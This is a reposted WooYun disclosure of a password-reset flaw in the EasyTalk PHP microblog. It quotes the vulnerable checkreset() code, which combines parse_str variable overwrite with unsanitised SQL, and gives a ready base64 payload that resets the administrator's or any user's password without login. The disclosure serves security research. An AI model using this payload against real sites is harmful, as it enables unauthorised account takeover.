您的位置:首页 > 其它

开源微博EasyTalk任意用户密码修改 (变量覆盖)

2014-05-22 23:06 302 查看


漏洞概要关注数(2) 关注此漏洞


缺陷编号:
WooYun-2014-51158


漏洞标题: 开源微博EasyTalk任意用户密码修改


相关厂商:
nextsns.com


漏洞作者:
felixk3y


提交时间: 2014-02-17 11:05


公开时间: 2014-05-18 11:05


漏洞类型: 设计缺陷/逻辑错误


危害等级: 高


自评Rank: 20


漏洞状态: 厂商已经确认


漏洞来源: http://www.wooyun.org

Tags标签:
设计缺陷/边界绕过 php源码审核



0人收藏 收藏
分享漏洞:


0


漏洞详情


披露状态:

2014-02-17: 细节已通知厂商并且等待厂商处理中

2014-02-17: 厂商已经确认,细节仅向厂商公开

2014-02-20: 细节向第三方安全合作伙伴开放

2014-02-27: 细节向核心白帽子及相关领域专家公开

2014-03-09: 细节向普通白帽子公开

2014-03-29: 细节向实习白帽子公开

2014-05-18: 细节向公众公开


简要描述:

开源微博系统EasyTalk任意用户密码修改,包括管理员 而且不用登陆,非常强大...

(其实只是一个小小的设计缺陷):-)


详细说明:

#1 CMS介绍

EasyTalk是国内首款多用户PHP+Mysql开源微博系统,支持网页、手机Wap、手机短信、QQ、Gtalk、飞信等多种方式发表或接收信息,EasyTalk全面符合国人的上网习惯,真正轻量级架构,使得使用者上手容易,管理者安装部署容易、管理便捷。EasyTalk功能强大,便捷的插件系统,可二次开发性高,人性化的模板自定义功能大幅提高了用户的体验,因此EasyTalk相比国内其他微博系统有绝对的优势!





#2 漏洞分析

我们先来看下用户找回密码的连接

http://www.vulns.org/easytalk/?m=index&a=checkreset&urldata=dXNlcl9uYW1lPXRlc3QmbWFpbGFkcmVzPWZlbGl4azN5QHFxLmNvbSZ1c2VyX2lkPTImZGF0ZWxpbmU9MTM5MjYwNDE5NQ==


这里重点留意urldata参数,很显然是Base64加密,我们把它解密

user_name=test&mailadres=felixk3y@qq.com&user_id=2&dateline=1392604195


第一感觉,90%有问题...

接下来,我们看该处的源代码,都是怎样实现的

/Home/Lib/Action/IndexAction.class.php 445行checkreset()函数

public function checkreset() {

parent::tohome();

$uModel=D('Users');

$urldata=$_REQUEST['urldata'];//接收urldata 参数

parse_str(base64_decode($urldata));//parse_str 变量覆盖

if (time()-$dateline>3600*5) {

setcookie('setok', json_encode(array('lang'=>L('reset3'),'ico'=>2)),0,'/');//该地址已经过期,请重新“找回密码”

header('location:'.SITE_URL.'/?m=index&a=reset');

exit;

} else {

$user=$uModel->getUser("user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'");//直接带入了数据库...Oh My Ga.

if (!$user['user_id']) {

setcookie('setok', json_encode(array('lang'=>L('reset4'),'ico'=>2)),0,'/');//地址验证失败,请重新“找回密码”

header('location:'.SITE_URL.'/?m=index&a=reset');

exit;

}

}

$this->assign('subname',L('find_pwd'));

$this->assign('user',$user);

$this->assign('urldata',$urldata);

$this->assign('type','find');

$this->display('reset');

}


$_REQUEST 方式接收urldata参数,Base64解码后直接带入了数据库查询,我的天 这究竟是神马设计?

既然它毫不客气的将参数带入了数据库,那么我肯定也是不会客气

从程序可以猜测,更新用户密码的SQL 类似如下

update * from tk_user where user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'


于是我们利用parse_str变量覆盖,可以提交urldata参数为

urldata= dXNlcl9pZD0yJyBhbmQgMT0xIw==

Base64解码为:urldata=user_id=1' and 1=1#


就可以修改管理员(管理的user_id为1)的密码





同理,我们修改user_id为其他用户的id,即可修改其密码






漏洞证明:






修复方案:

过滤,增强验证
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: